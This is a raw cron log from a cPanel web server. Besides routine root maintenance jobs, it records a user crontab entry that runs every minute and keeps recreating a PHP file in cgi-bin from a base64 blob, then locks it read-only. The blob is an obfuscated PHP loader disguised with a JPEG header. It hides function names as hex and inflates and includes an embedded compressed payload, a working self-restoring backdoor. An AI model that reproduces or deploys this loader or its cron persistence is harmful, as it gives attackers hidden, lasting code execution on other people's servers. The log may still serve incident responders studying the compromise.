Nov 12 12:05:01 server CROND[19783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:05:01 server CROND[19782]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 12:06:01 server CROND[20665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:07:01 server CROND[21469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:08:01 server CROND[22232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:09:01 server CROND[23093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:09:01 server CROND[23094]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 12:10:01 server CROND[23918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:10:01 server CROND[23920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:10:01 server CROND[23921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 12:10:01 server CROND[23922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:11:01 server CROND[24810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:12:01 server CROND[25718]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 12:12:01 server CROND[25719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:13:01 server CROND[26534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:14:01 server CROND[27364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:15:01 server CROND[28188]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:15:01 server CROND[28189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:15:01 server CROND[28192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:15:01 server CROND[28193]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:15:01 server CROND[28194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:16:01 server CROND[29060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:17:01 server CROND[29973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
